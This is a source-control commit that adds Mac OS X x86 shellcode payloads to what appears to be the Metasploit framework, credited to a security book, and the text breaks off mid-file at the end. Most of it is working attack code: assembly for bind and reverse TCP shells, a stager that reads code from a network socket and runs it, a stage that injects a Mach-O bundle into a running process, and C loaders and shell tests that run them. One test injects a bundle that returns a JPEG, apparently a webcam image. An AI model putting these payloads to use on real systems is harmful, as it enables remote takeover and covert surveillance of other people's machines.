Tons of new Mac OS X code from Dino Dai Zovi and Charlie Miller, more to follow
git-svn-id: file:///home/svn/framework3/trunk@6353 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
7debb6d52b
commit
13706d1bde
Binary file not shown.
|
@ -0,0 +1,4 @@
|
|||
Mac OS X Payloads by Dino Dai Zovi <ddz@theta44.org>
|
||||
|
||||
These payloads are from "The Mac Hacker's Handbook" by Charlie Miller
|
||||
and Dino Dai Zovi (Wiley 2009).
|
Binary file not shown.
|
@ -0,0 +1,12 @@
|
|||
BINS=$(subst src/,,$(patsubst %.s,%.bin,$(wildcard src/s*.s)))
|
||||
|
||||
all: $(BINS)
|
||||
|
||||
%.bin: src/%.s
|
||||
nasm -Iinclude/ -f bin -o bin/$@ $<
|
||||
|
||||
test: all
|
||||
make -C src/test
|
||||
|
||||
clean:
|
||||
rm -f bin/*.bin; make -C src/test clean
|
|
@ -0,0 +1,15 @@
|
|||
;;; assumes socket is in edi
|
||||
_dup2_std_fds:
|
||||
xor ebx, ebx
|
||||
sub ebx, byte 1
|
||||
|
||||
.dup2:
|
||||
inc ebx
|
||||
push ebx ; filedes2
|
||||
push edi ; filedes
|
||||
push ebx ; spacer
|
||||
mov al, 90 ; SYS_dup2
|
||||
int 0x80
|
||||
jb end
|
||||
cmp ebx, byte 3
|
||||
jne .dup2
|
|
@ -0,0 +1,12 @@
|
|||
_execve_binsh:
|
||||
xor eax, eax
|
||||
push eax ; "\0\0\0\0"
|
||||
push 0x68732f2f ; "//sh"
|
||||
push 0x6e69622f ; "/bin"
|
||||
mov ebx, esp
|
||||
push eax ; envp
|
||||
push eax ; argv
|
||||
push ebx ; path
|
||||
push eax ; spacer
|
||||
mov al, 59 ; SYS_execve
|
||||
int 0x80
|
|
@ -0,0 +1,7 @@
|
|||
_exit:
|
||||
;; Exit cleanly
|
||||
xor eax, eax
|
||||
push eax ; EXIT_SUCCESS
|
||||
push eax ; spacer
|
||||
inc eax
|
||||
int 0x80
|
|
@ -0,0 +1,296 @@
|
|||
;;;
|
||||
;;; Skip straight to inject_bundle when we assemble this as bin file
|
||||
;;;
|
||||
jmp _inject_bundle
|
||||
|
||||
;;; --------------------------------------------------------------------
|
||||
;;; Constants
|
||||
;;; --------------------------------------------------------------------
|
||||
%define MAP_ANON 0x1000
|
||||
%define MAP_PRIVATE 0x0002
|
||||
%define PROT_READ 0x01
|
||||
%define PROT_WRITE 0x02
|
||||
|
||||
%define NSLINKMODULE_OPTION_BINDNOW 0x1
|
||||
%define NSLINKMODULE_OPTION_PRIVATE 0x2
|
||||
%define NSLINKMODULE_OPTION_RETURN_ON_ERROR 0x4
|
||||
|
||||
;;; --------------------------------------------------------------------
|
||||
;;; ror13_hash(string symbol_name)
|
||||
;;;
|
||||
;;; Compute the 32-bit "ror13" hash for a given symbol name. The hash
|
||||
;;; value is left in the variable hash
|
||||
;;; --------------------------------------------------------------------
|
||||
%macro ror13_hash 1
|
||||
%assign hash 0
|
||||
%assign c 0
|
||||
%strlen len %1
|
||||
|
||||
%assign i 1
|
||||
%rep len
|
||||
%substr c %1 i
|
||||
%assign hash ((((hash >> 13) | (hash << 19)) + c) & 0xFFFFFFFF)
|
||||
%assign i i + 1
|
||||
%endrep
|
||||
%endmacro
|
||||
|
||||
;;; --------------------------------------------------------------------
|
||||
;;; dyld_resolve(uint32_t hash)
|
||||
;;;
|
||||
;;; Lookup the address of an exported symbol within dyld by "ror13" hash.
|
||||
;;;
|
||||
;;; Arguments:
|
||||
;;; hash - 32-bit "ror13" hash of symbol name
|
||||
;;; --------------------------------------------------------------------
|
||||
_dyld_resolve:
|
||||
mov eax, [esp+4]
|
||||
push eax
|
||||
push 0x8fe00000
|
||||
call _macho_resolve
|
||||
ret 4
|
||||
|
||||
;;; --------------------------------------------------------------------
|
||||
;;; macho_resolve(void* base, uint32_t hash)
|
||||
;;;
|
||||
;;; Lookup the address of an exported symbol within the given Mach-O
|
||||
;;; image by "ror13" hash value.
|
||||
;;;
|
||||
;;; Arguments:
|
||||
;;; base - base address of Mach-O image
|
||||
;;; hash - 32-bit "ror13" hash of symbol name
|
||||
;;; --------------------------------------------------------------------
|
||||
_macho_resolve:
|
||||
push ebp
|
||||
mov ebp, esp
|
||||
sub esp, byte 12
|
||||
push ebx
|
||||
push esi
|
||||
push edi
|
||||
|
||||
mov ebx, [ebp+8] ; mach-o image base address
|
||||
mov eax, [ebx+16] ; mach_header->ncmds
|
||||
mov [ebp-4], eax ; ncmds
|
||||
|
||||
add bl, 28 ; Advance ebx to first load command
|
||||
.loadcmd:
|
||||
;; Load command loop
|
||||
xor eax, eax
|
||||
cmp dword [ebp-4], eax
|
||||
je .return
|
||||
|
||||
inc eax
|
||||
cmp [ebx], eax
|
||||
je .segment
|
||||
inc eax
|
||||
cmp [ebx], eax
|
||||
je .symtab
|
||||
.next_loadcmd:
|
||||
;; Advance to the next load command
|
||||
dec dword [ebp-4]
|
||||
add ebx, [ebx+4]
|
||||
jmp .loadcmd
|
||||
|
||||
.segment:
|
||||
;; Look for "__TEXT" segment
|
||||
cmp [ebx+10], dword 'TEXT'
|
||||
je .text
|
||||
;; Look for "__LINKEDIT" segment
|
||||
cmp [ebx+10], dword 'LINK'
|
||||
je .linkedit
|
||||
|
||||
jmp .next_loadcmd
|
||||
.text:
|
||||
mov eax, [ebx+24]
|
||||
mov [ebp-8], eax ; save image preferred load address
|
||||
jmp .next_loadcmd
|
||||
.linkedit:
|
||||
;; We have found the __LINKEDIT segment
|
||||
mov eax, [ebx+24] ; segcmd->vmaddr
|
||||
sub eax, [ebp-8] ; image preferred load address
|
||||
add eax, [ebp+8] ; actual image load address
|
||||
sub eax, [ebx+32] ; segcmd->fileoff
|
||||
mov [ebp-12], eax ; save linkedit segment base
|
||||
|
||||
jmp .next_loadcmd
|
||||
|
||||
.symtab:
|
||||
;; Examine LC_SYMTAB load command
|
||||
mov ecx, [ebx+12] ; ecx = symtab->nsyms
|
||||
.symbol:
|
||||
xor eax, eax
|
||||
cmp ecx, eax
|
||||
je .return
|
||||
dec ecx
|
||||
|
||||
imul edx, ecx, byte 12 ; edx = index into symbol table
|
||||
add edx, [ebx+8] ; edx += symtab->symoff
|
||||
add edx, [ebp-12] ; adjust symoff relative to linkedit
|
||||
|
||||
mov esi, [edx] ; esi = index into string table
|
||||
add esi, [ebx+16] ; esi += symtab->stroff
|
||||
add esi, [ebp-12] ; adjust stroff relative to linkedit
|
||||
|
||||
;; hash = (hash >> 13) | ((hash & 0x1fff) << 19) + c
|
||||
xor edi, edi
|
||||
cld
|
||||
.hash:
|
||||
xor eax, eax
|
||||
lodsb
|
||||
cmp al, ah
|
||||
je .compare
|
||||
ror edi, 13
|
||||
add edi, eax
|
||||
jmp .hash
|
||||
|
||||
.compare:
|
||||
cmp edi, [ebp+12]
|
||||
jne .symbol
|
||||
|
||||
mov eax, [edx+8] ; return symbols[ecx].n_value
|
||||
sub eax, [ebp-8] ; adjust to actual load address
|
||||
add eax, [ebp+8]
|
||||
.return:
|
||||
pop edi
|
||||
pop esi
|
||||
pop ebx
|
||||
leave
|
||||
ret 8
|
||||
|
||||
;;; --------------------------------------------------------------------
|
||||
;;; inject_bundle(int filedes)
|
||||
;;;
|
||||
;;; Read a Mach-O bundle from the given file descriptor, load and link
|
||||
;;; it into the currently running process.
|
||||
;;;
|
||||
;;; Arguments:
|
||||
;;; filedes (edi) - file descriptor to read() bundle from
|
||||
;;; --------------------------------------------------------------------
|
||||
_inject_bundle:
|
||||
push ebp
|
||||
mov ebp, esp
|
||||
sub esp, byte 12
|
||||
|
||||
mov esi, edi ; arg0: filedes
|
||||
|
||||
.read_size:
|
||||
;; Read a 4-byte size of bundle to read
|
||||
xor eax, eax
|
||||
mov al, 4
|
||||
push eax ; nbyte
|
||||
lea edi, [ebp-4]
|
||||
push edi ; buf
|
||||
push esi ; s
|
||||
push eax
|
||||
dec eax
|
||||
int 0x80
|
||||
jb .read_error
|
||||
cmp eax, ecx ; A zero-read signals termination
|
||||
je .read_error
|
||||
mov ecx, [ebp-4]
|
||||
xor eax, eax
|
||||
cmp ecx, eax
|
||||
je .read_error ; A zero value signals termination
|
||||
|
||||
jmp .mmap
|
||||
.read_error:
|
||||
jmp .error
|
||||
|
||||
.mmap:
|
||||
;; mmap memory
|
||||
xor eax, eax
|
||||
push eax
|
||||
push -1
|
||||
push (MAP_ANON | MAP_PRIVATE)
|
||||
push (PROT_READ | PROT_WRITE)
|
||||
push ecx ; size
|
||||
push eax
|
||||
push eax ; spacer
|
||||
mov al, 197
|
||||
int 0x80
|
||||
jb .error
|
||||
mov edi, eax ; memory buffer
|
||||
mov [ebp-8], edi
|
||||
|
||||
;; read bundle from file descriptor into mmap'd buffer
|
||||
.read_bundle:
|
||||
xor eax, eax
|
||||
push ecx ; nbyte
|
||||
push edi ; buf
|
||||
push esi ; filedes
|
||||
push eax ; spacer
|
||||
mov al, 3
|
||||
int 0x80
|
||||
jb .error
|
||||
add edi, eax
|
||||
sub ecx, eax
|
||||
jnz .read_bundle
|
||||
|
||||
mov edi, [ebp-8] ; load original memory buffer
|
||||
|
||||
;; Now that we are calling library methods, we need to make sure
|
||||
;; that esp is 16-byte aligned at the the point of the call
|
||||
;; instruction. So we align the stack here and then just be
|
||||
;; careful to keep it aligned as we call library functions.
|
||||
|
||||
sub esp, byte 16
|
||||
and esp, 0xfffffff0
|
||||
|
||||
;; load bundle from mmap'd buffer
|
||||
push byte 0 ; maintain alignment
|
||||
lea eax, [ebp-8]
|
||||
push eax ; &objectFileImage
|
||||
push dword [ebp+12] ; size
|
||||
push edi ; addr
|
||||
ror13_hash "_NSCreateObjectFileImageFromMemory"
|
||||
push dword hash
|
||||
call _dyld_resolve
|
||||
call eax
|
||||
cmp al, 1
|
||||
jne .error
|
||||
|
||||
;; link bundle from object file image
|
||||
xor eax, eax
|
||||
push eax
|
||||
mov al, (NSLINKMODULE_OPTION_RETURN_ON_ERROR | NSLINKMODULE_OPTION_BINDNOW)
|
||||
push eax
|
||||
push esp ; ""
|
||||
push dword [ebp-8]
|
||||
ror13_hash "_NSLinkModule"
|
||||
push dword hash
|
||||
call _dyld_resolve
|
||||
call eax
|
||||
|
||||
;; run_symbol = NSLookupSymbolInModule(module, "_run")
|
||||
mov ebx, eax
|
||||
xor eax, eax
|
||||
push eax ; "\0\0\0\0"
|
||||
push 0x6e75725f ; "_run"
|
||||
mov eax, esp
|
||||
push eax ; sym
|
||||
push ebx ; module
|
||||
|
||||
ror13_hash "_NSLookupSymbolInModule"
|
||||
push dword hash
|
||||
call _dyld_resolve
|
||||
call eax
|
||||
|
||||
;; NSAddressOfSymbol(run_symbol)
|
||||
sub esp, 12 ; maintain alignment
|
||||
push eax
|
||||
ror13_hash "_NSAddressOfSymbol"
|
||||
push dword hash
|
||||
call _dyld_resolve
|
||||
call eax
|
||||
|
||||
;; _run(socket)
|
||||
sub esp, 12 ; maintain alignment
|
||||
push esi
|
||||
call eax
|
||||
|
||||
.error:
|
||||
;; Exit cleanly
|
||||
xor eax, eax
|
||||
push eax ; EXIT_SUCCESS
|
||||
push eax ; spacer
|
||||
mov al, 1
|
||||
int 0x80
|
|
@ -0,0 +1,61 @@
|
|||
_read_exec:
|
||||
;; Save some stack space
|
||||
mov ebp, esp
|
||||
sub esp, byte 8
|
||||
|
||||
.loop:
|
||||
xor ecx, ecx ; clear ecx
|
||||
mul ecx ; clear eax and edx
|
||||
|
||||
;; Read a 4-byte size of code fragment to execute
|
||||
push ecx
|
||||
mov esi, esp
|
||||
mov al, 4
|
||||
push eax ; nbyte
|
||||
push esi ; buf
|
||||
push edi ; s
|
||||
push eax
|
||||
dec eax
|
||||
int 0x80
|
||||
jb end
|
||||
mov esi, [esp+16] ; code buffer length
|
||||
|
||||
;; mmap memory
|
||||
xor eax, eax
|
||||
push eax ; alignment spacer
|
||||
push eax ; 0
|
||||
dec eax
|
||||
push eax ; -1
|
||||
inc eax
|
||||
mov ax, 0x1002
|
||||
push eax ; (MAP_ANON | MAP_PRIVATE)
|
||||
xor eax, eax
|
||||
mov al, 7
|
||||
push eax ; (PROT_READ | PROT_WRITE | PROT_EXEC)
|
||||
push esi ; len
|
||||
push edx ; addr
|
||||
push edx ; spacer
|
||||
mov al, 197
|
||||
int 0x80
|
||||
jb end
|
||||
|
||||
;; read fragment from file descriptor into mmap buffer
|
||||
mov ebx, eax
|
||||
add ebx, esi
|
||||
.read_fragment:
|
||||
push esi ; nbytes
|
||||
mov eax, ebx
|
||||
sub eax, esi
|
||||
push eax ; buf
|
||||
push edi ; s
|
||||
push edx ; spacer
|
||||
xor eax, eax
|
||||
mov al, 3
|
||||
int 0x80 ; read(edi, eax, esi)
|
||||
jb end
|
||||
|
||||
sub ebx, eax ; Subtract bytes read to buf end pointer
|
||||
sub esi, eax ; Subtract bytes read from total
|
||||
jnz .read_fragment
|
||||
|
||||
jmp ebx
|
|
@ -0,0 +1,53 @@
|
|||
_shell:
|
||||
;; Test if vfork() will be needed. If execve(0, 0, 0) fails with
|
||||
;; ENOTSUP, then we are in a threaded process and need to call
|
||||
;; vfork().
|
||||
xor eax, eax
|
||||
push eax ; envp
|
||||
push eax ; argv
|
||||
push eax ; path
|
||||
push eax
|
||||
mov al, 59 ; SYS_execve
|
||||
int 0x80
|
||||
nop
|
||||
nop
|
||||
cmp al, 45 ; ENOTSUP
|
||||
jne .execve_binsh
|
||||
|
||||
.vfork:
|
||||
mov al, 66 ; SYS_vfork
|
||||
int 0x80 ; vfork()
|
||||
cmp edx, byte 0
|
||||
jz .wait
|
||||
|
||||
;; Both child and parent continue to run execve below. The parent
|
||||
;; fails and falls through to call wait4(), the child succeeds
|
||||
;; and obviously doesn't call wait4() since it has exec'd a new
|
||||
;; executable.
|
||||
|
||||
.execve_binsh:
|
||||
xor eax, eax
|
||||
push eax ; "\0\0\0\0"
|
||||
push 0x68732f2f ; "//sh"
|
||||
push 0x6e69622f ; "/bin"
|
||||
mov ebx, esp
|
||||
push eax ; envp
|
||||
push eax ; argv
|
||||
push ebx ; path
|
||||
push eax ; spacer
|
||||
mov al, 59 ; SYS_execve
|
||||
int 0x80
|
||||
|
||||
.wait:
|
||||
;; Wait for child process to exit before continuing and crashing
|
||||
xor eax, eax
|
||||
push eax
|
||||
mov ebx, esp
|
||||
|
||||
push eax ; rusage
|
||||
push eax ; options
|
||||
push ebx ; stat_loc
|
||||
push eax ; pid
|
||||
push eax ; spacer
|
||||
mov al, 7
|
||||
int 0x80
|
|
@ -0,0 +1,32 @@
|
|||
_tcp_listen:
|
||||
xor eax, eax ; zero out eax and edx
|
||||
cdq
|
||||
|
||||
push eax ; IPPROTO_IP
|
||||
inc eax
|
||||
push eax ; SOCK_STREAM
|
||||
inc eax
|
||||
push eax ; AF_INET
|
||||
push edx ; spacer
|
||||
mov al, byte 97 ; SYS_socket
|
||||
int 0x80
|
||||
jb end
|
||||
mov edi, eax ; Save server socket in esi
|
||||
|
||||
;; Create sockaddr_in on the stack
|
||||
push edx
|
||||
push edx
|
||||
push 0x0100007f
|
||||
push 0x12340200 ; sin_port, sin_family, sin_length
|
||||
mov ebx, esp
|
||||
|
||||
push byte 16 ; address_len
|
||||
push ebx ; address
|
||||
push edi ; socket
|
||||
push edx ; spacer
|
||||
mov al, 98 ; SYS_connect
|
||||
int 0x80 ; connect(s, saddr, 16)
|
||||
jb end
|
||||
|
||||
;; At this point:
|
||||
;; edi - connected socket
|
|
@ -0,0 +1,52 @@
|
|||
_tcp_listen:
|
||||
xor eax, eax ; zero out eax and edx
|
||||
cdq
|
||||
|
||||
push eax ; IPPROTO_IP
|
||||
inc eax
|
||||
push eax ; SOCK_STREAM
|
||||
inc eax
|
||||
push eax ; AF_INET
|
||||
push edx ; spacer
|
||||
mov al, byte 97 ; SYS_socket
|
||||
int 0x80
|
||||
jb end
|
||||
mov esi, eax ; Save server socket in esi
|
||||
|
||||
;; Create sockaddr_in on the stack
|
||||
push edx
|
||||
push edx
|
||||
push edx
|
||||
push 0x12340200 ; sin_port, sin_family, sin_length
|
||||
mov ebx, esp
|
||||
|
||||
push byte 16 ; address_len
|
||||
push ebx ; address
|
||||
push esi ; socket
|
||||
push edx ; spacer
|
||||
mov al, 104 ; SYS_bind
|
||||
int 0x80 ; bind(s, saddr, 16)
|
||||
jb end
|
||||
|
||||
push edx ; backlog
|
||||
push esi ; socket
|
||||
push edx ; spacer
|
||||
mov al, 106 ; SYS_listen
|
||||
int 0x80
|
||||
jb end
|
||||
|
||||
push edx ; socklen_t* address_len = NULL
|
||||
push edx ; struct sockaddr* address = NULL
|
||||
push esi ; socket
|
||||
push edx
|
||||
mov al, 30 ; SYS_accept
|
||||
int 0x80
|
||||
jb end
|
||||
|
||||
;; Leave connected socket in edi
|
||||
mov edi, eax
|
||||
|
||||
;; At this point:
|
||||
;; edi - client socket
|
||||
;; esi - server socket
|
||||
|
|
@ -0,0 +1,6 @@
|
|||
BITS 32
|
||||
|
||||
begin:
|
||||
%include "_tcp_listen.s"
|
||||
%include "_inject_bundle.s"
|
||||
end:
|
|
@ -0,0 +1,6 @@
|
|||
BITS 32
|
||||
|
||||
begin:
|
||||
%include "_tcp_connect.s"
|
||||
%include "_inject_bundle.s"
|
||||
end:
|
|
@ -0,0 +1,9 @@
|
|||
BITS 32
|
||||
|
||||
_single_bind_tcp:
|
||||
begin:
|
||||
%include "_tcp_listen.s"
|
||||
%include "_dup2_std_fds.s"
|
||||
%include "_shell.s"
|
||||
%include "_exit.s"
|
||||
end:
|
|
@ -0,0 +1,9 @@
|
|||
BITS 32
|
||||
|
||||
_single_bind_tcp:
|
||||
begin:
|
||||
%include "_tcp_connect.s"
|
||||
%include "_dup2_std_fds.s"
|
||||
%include "_shell.s"
|
||||
%include "_exit.s"
|
||||
end:
|
|
@ -0,0 +1,3 @@
|
|||
BITS 32
|
||||
|
||||
%include "_inject_bundle.s"
|
|
@ -0,0 +1,8 @@
|
|||
BITS 32
|
||||
|
||||
_single_bind_tcp:
|
||||
begin:
|
||||
%include "_dup2_std_fds.s"
|
||||
%include "_shell.s"
|
||||
%include "_exit.s"
|
||||
end:
|
|
@ -0,0 +1,18 @@
|
|||
;;;
|
||||
;;; bind_tcp - Bind TCP Stager
|
||||
;;;
|
||||
|
||||
BITS 32
|
||||
|
||||
;;; --------------------------------------------------------------------
|
||||
;;; bind_tcp()
|
||||
;;;
|
||||
;;; Listen on a TCP socket, receive subsequent stage, and execute it.
|
||||
;;;
|
||||
;;; --------------------------------------------------------------------
|
||||
|
||||
_bind_tcp:
|
||||
begin:
|
||||
%include "_tcp_listen.s"
|
||||
%include "_read_exec.s"
|
||||
end:
|
|
@ -0,0 +1,18 @@
|
|||
;;;
|
||||
;;; bind_tcp - Bind TCP Stager
|
||||
;;;
|
||||
|
||||
BITS 32
|
||||
|
||||
;;; --------------------------------------------------------------------
|
||||
;;; bind_tcp()
|
||||
;;;
|
||||
;;; Listen on a TCP socket, receive subsequent stage, and execute it.
|
||||
;;;
|
||||
;;; --------------------------------------------------------------------
|
||||
|
||||
_bind_tcp:
|
||||
begin:
|
||||
%include "_tcp_connect.s"
|
||||
%include "_read_exec.s"
|
||||
end:
|
|
@ -0,0 +1,5 @@
|
|||
test: test_component server
|
||||
./run_tests.sh
|
||||
|
||||
clean:
|
||||
rm test_component server
|
|
@ -0,0 +1,138 @@
|
|||
#!/bin/sh
|
||||
|
||||
LPORT=13330
|
||||
|
||||
function run_payload()
|
||||
{
|
||||
./test_component $1 &
|
||||
sleep 1
|
||||
}
|
||||
|
||||
|
||||
function test_single_bind_tcp_shell()
|
||||
{
|
||||
run_payload ../../bin/single_bind_tcp_shell.bin
|
||||
|
||||
echo "expr 1234 + 5678" | nc -4 -vv -w 5 localhost $LPORT | grep "6912"
|
||||
|
||||
wait
|
||||
|
||||
return $?
|
||||
}
|
||||
|
||||
function test_single_reverse_tcp_shell()
|
||||
{
|
||||
(echo "expr 1234 + 5678" | nc -4 -vv -w 5 -l localhost $LPORT | grep "6912"; RESULT=$?) &
|
||||
|
||||
sleep 1
|
||||
|
||||
(./test_component ../../bin/single_reverse_tcp_shell.bin)
|
||||
|
||||
wait
|
||||
|
||||
return $RESULT
|
||||
}
|
||||
|
||||
function test_staged_bind_tcp_shell()
|
||||
{
|
||||
run_payload ../../bin/stager_bind_tcp.bin
|
||||
|
||||
(./write_size_and_data.rb ../../bin/stage_shell.bin ; echo "expr 1234 + 5678" ) | nc -4 -vv -w 5 localhost $LPORT | grep "6912"
|
||||
|
||||
wait
|
||||
|
||||
return $?
|
||||
}
|
||||
|
||||
function test_staged_reverse_tcp_shell()
|
||||
{
|
||||
((./write_size_and_data.rb ../../bin/stage_shell.bin; echo "expr 1234 + 5678" ) | nc -4 -vv -w 5 -l localhost $LPORT | grep "6912"; RESULT=$?) &
|
||||
|
||||
sleep 1
|
||||
|
||||
./test_component ../../bin/stager_reverse_tcp.bin
|
||||
|
||||
wait
|
||||
|
||||
return $RESULT
|
||||
}
|
||||
|
||||
function test_staged_bind_tcp_bundleinject()
|
||||
{
|
||||
# Setup
|
||||
run_payload ../../bin/stager_bind_tcp.bin
|
||||
|
||||
# Test
|
||||
TMPFILE=`mktemp isightXXXXXX` || exit 1
|
||||
( ./write_size_and_data.rb ../../bin/stage_bundleinject.bin ; ./write_size_and_data.rb ../../../../bundles/isight/isight.bundle ) | nc -4 -vv -w 5 localhost $LPORT | (dd bs=1 skip=4 of=$TMPFILE)
|
||||
|
||||
# Verify
|
||||
file $TMPFILE | grep JPEG
|
||||
RESULT=$?
|
||||
|
||||
# Cleanup
|
||||
rm $TMPFILE
|
||||
|
||||
wait
|
||||
|
||||
return $RESULT
|
||||
}
|
||||
|
||||
function test_staged_reverse_tcp_bundleinject()
|
||||
{
|
||||
# Setup
|
||||
TMPFILE=`mktemp isightXXXXXX` || exit 1
|
||||
|
||||
(( ./write_size_and_data.rb ../../bin/stage_bundleinject.bin ; ./write_size_and_data.rb ../../../../bundles/isight/isight.bundle ) | nc -4 -vv -l -w 5 localhost $LPORT | dd bs=1 skip=4 of=$TMPFILE) &
|
||||
sleep 1
|
||||
|
||||
run_payload ../../bin/stager_reverse_tcp.bin
|
||||
|
||||
wait
|
||||
|
||||
# Verify
|
||||
file $TMPFILE | grep JPEG
|
||||
RESULT=$?
|
||||
|
||||
if [ $RESULT -eq 0 ]; then
|
||||
# Cleanup
|
||||
rm $TMPFILE
|
||||
fi
|
||||
|
||||
return $RESULT
|
||||
}
|
||||
|
||||
SLEEP=65
|
||||
|
||||
echo "==> Testing single_reverse_tcp_shell..."
|
||||
test_single_reverse_tcp_shell || exit 1
|
||||
echo "Sleeping $SLEEP seconds..."
|
||||
sleep $SLEEP
|
||||
|
||||
echo "==> Testing single_bind_tcp_shell..."
|
||||
test_single_bind_tcp_shell || exit 1
|
||||
echo "Sleeping $SLEEP seconds..."
|
||||
sleep $SLEEP
|
||||
|
||||
echo "==> Testing stager_bind_tcp + stage_shell..."
|
||||
test_staged_bind_tcp_shell || exit 1
|
||||
echo "Sleeping $SLEEP seconds..."
|
||||
sleep $SLEEP
|
||||
|
||||
echo "==> Testing stager_reverse_tcp + stage_shell..."
|
||||
test_staged_reverse_tcp_shell || exit 1
|
||||
echo "Sleeping $SLEEP seconds..."
|
||||
sleep $SLEEP
|
||||
|
||||
echo "==> Testing stager_bind_tcp + bundleinject + isight.bundle..."
|
||||
test_staged_bind_tcp_bundleinject || exit 1
|
||||
echo "Sleeping $SLEEP seconds..."
|
||||
sleep $SLEEP
|
||||
|
||||
echo "==> Testing stager_reverse_tcp + bundleinject + isight.bundle..."
|
||||
test_staged_reverse_tcp_bundleinject || exit 1
|
||||
echo "Sleeping $SLEEP seconds..."
|
||||
|
||||
echo
|
||||
echo "==> All tests passed successfully!"
|
||||
echo
|
|
@ -0,0 +1,136 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <strings.h>
|
||||
#include <unistd.h>
|
||||
#include <pthread.h>
|
||||
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/ip.h>
|
||||
|
||||
void usage(char* argv0)
|
||||
{
|
||||
fprintf(stderr, "usage: %s [ -t ] [ -p <port> ]\n", argv0);
|
||||
}
|
||||
|
||||
int read_and_exec(int s)
|
||||
{
|
||||
int n, length;
|
||||
int (*payload)(void);
|
||||
|
||||
fprintf(stderr, "Reading length... ");
|
||||
if ((n = recv(s, &length, sizeof(length), 0)) != sizeof(length)) {
|
||||
if (n < 0)
|
||||
perror("recv");
|
||||
else
|
||||
fprintf(stderr, "recv: short read\n");
|
||||
return -1;
|
||||
}
|
||||
fprintf(stderr, "%d\n", length);
|
||||
|
||||
fprintf(stderr, "Allocating buffer... ");
|
||||
if ((payload = mmap(NULL, length, PROT_READ | PROT_WRITE | PROT_EXEC,
|
||||
MAP_ANON | MAP_PRIVATE, -1, 0)) == (void*)-1) {
|
||||
perror("mmap");
|
||||
return -1;
|
||||
}
|
||||
fprintf(stderr, "0x%x\n", payload);
|
||||
|
||||
fprintf(stderr, "Reading payload... ");
|
||||
if ((n = recv(s, payload, length, 0)) != length) {
|
||||
if (n < 0)
|
||||
perror("recv");
|
||||
else
|
||||
fprintf(stderr, "recv: short read\n");
|
||||
return -1;
|
||||
}
|
||||
fprintf(stderr, "read %d bytes\n", n);
|
||||
|
||||
fprintf(stderr, "Executing payload...\n");
|
||||
|
||||
(void*)(*payload)();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void* read_and_exec_thread(void* arg)
|
||||
{
|
||||
return (void*)read_and_exec((int)arg);
|
||||
}
|
||||
|
||||
int create_read_and_exec_thread(int c)
|
||||
{
|
||||
int err;
|
||||
pthread_t pthread;
|
||||
void* return_value;
|
||||
|
||||
if ((err = pthread_create(&pthread, NULL,
|
||||
read_and_exec_thread, (void*)c)) != 0) {
|
||||
fprintf(stderr, "pthread_create: %s\n", strerror(err));
|
||||
return -1;
|
||||
}
|
||||
|
||||
if ((err = pthread_join(pthread, &return_value)) != 0) {
|
||||
fprintf(stderr, "pthread_join: %s\n", strerror(err));
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char* argv[])
|
||||
{
|
||||
int c, s, val, threaded = 0;
|
||||
socklen_t salen;
|
||||
struct sockaddr_in saddr, client_saddr;
|
||||
short port = 1234;
|
||||
|
||||
while ((c = getopt(argc, argv, "tp:")) != EOF) {
|
||||
switch (c) {
|
||||
case 'p':
|
||||
port = atoi(optarg);
|
||||
break;
|
||||
case 't':
|
||||
threaded = 1;
|
||||
break;
|
||||
default:
|
||||
usage(argv[0]);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP)) < 0) {
|
||||
perror("socket");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
val = 1;
|
||||
if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &val, sizeof(val)) < 0) {
|
||||
perror("setsockopt");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
bzero(&saddr, sizeof(saddr));
|
||||
saddr.sin_family = AF_INET;
|
||||
saddr.sin_port = htons(port);
|
||||
saddr.sin_addr.s_addr = INADDR_ANY;
|
||||
|
||||
if (bind(s, (struct sockaddr*)&saddr, sizeof(saddr)) < 0) {
|
||||
perror("bind");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (listen(s, 5) < 0) {
|
||||
perror("listen");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if ((c = accept(s, (struct sockaddr*)&client_saddr, &salen)) < 0) {
|
||||
perror("accept");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (threaded)
|
||||
exit(create_read_and_exec_thread(c));
|
||||
else
|
||||
exit(read_and_exec(c));
|
||||
}
|
|
@ -0,0 +1,76 @@
|
|||
/*
|
||||
* test_component: Read in a component and execute it
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <pthread.h>
|
||||
|
||||
int read_and_exec_file(char* file)
|
||||
{
|
||||
char* buf = malloc(10000);
|
||||
int f, n;
|
||||
|
||||
if ((f = open(file, O_RDONLY, 0)) < 0) {
|
||||
perror("open");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if ((n = read(f, buf, 100000)) < 0) {
|
||||
perror("read");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
//printf("==> Read %d bytes, executing component...\n", n);
|
||||
|
||||
((void(*)(void))buf)();
|
||||
|
||||
printf("==> Done.\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int create_read_and_exec_thread(char* file)
|
||||
{
|
||||
int err;
|
||||
pthread_t pthread;
|
||||
void* return_value;
|
||||
|
||||
if ((err = pthread_create(&pthread, NULL,
|
||||
read_and_exec_file, (void*)file)) != 0) {
|
||||
fprintf(stderr, "pthread_create: %s\n", strerror(err));
|
||||
return -1;
|
||||
}
|
||||
|
||||
if ((err = pthread_join(pthread, &return_value)) != 0) {
|
||||
fprintf(stderr, "pthread_join: %s\n", strerror(err));
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(int argc, char* argv[])
|
||||
{
|
||||
int c;
|
||||
int threaded = 0;
|
||||
|
||||
while ((c = getopt(argc, argv, "tp:")) != EOF) {
|
||||
switch (c) {
|
||||
case 't':
|
||||
threaded = 1;
|
||||
break;
|
||||
default:
|
||||
